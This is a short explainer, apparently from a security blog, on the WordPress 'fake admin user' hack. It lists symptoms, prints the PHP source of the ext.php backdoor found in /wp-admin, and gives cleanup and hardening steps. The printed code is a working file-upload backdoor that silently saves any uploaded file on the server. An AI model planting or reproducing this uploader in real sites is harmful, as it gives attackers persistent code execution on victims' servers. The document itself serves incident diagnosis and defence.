What is Fake Admin User hack in WordPress? Symptoms & Consequences

This is a WordPress specific attack performed by hackers remotely, infecting your website with malware & file upload backdoors.

  • Multiple admin users added to WordPress (We have users getting added from [email protected])
  • Malicious files with uncommon names added to public_html folder
  • Several files copied to the website
  • New file called ext.php added to /wp-admin folder which lets hackers upload dangerous PHP files to the 'wp-admin directory.
  • Website gets re-infected almost immediately

Code Dump

<?php error_reporting(0);@ini_set("display_errors", 0);$var= $_SERVER['PHP_SELF']."?";$form ='<form enctype="multipart/form-data" action="'.$var.'" method="POST"><input name="uploadFile" type="file"/>
<input type="submit" value="Upload" /></form>';if (!empty($_FILES['uploadFile'])) {$self=dirname(__FILE__);move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $self.DIRECTORY_SEPARATOR.$_FILES["uploadFile"]["name"]);$time=filemtime($self);print "OK";} else {print $form;} ?>

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How to fix the WordPress Admin User Hack

  1. Change all passwords
    1. FTP accounts
    2. MySQL Databases
    3. Server's admin panel account
    4. SSH password/key
    5. E-Mail accounts hosted on the infected server
  2. Delete all anonymous FTP accounts
  3. Investigate server logs to see hack attempts from strange IP addesses
  4. Update the file & folders permission. Set following files to 444 permissions
    • .htaccess
    • wp-config.php
    • index.php
  5. Update file permissions of /wp-content/ & /wp-content/uploads folder to 755 instead of 777 (open for everyone)
  6. Enable IP whitelisting to /wp-admin folder so that only selected IP addresses can access it

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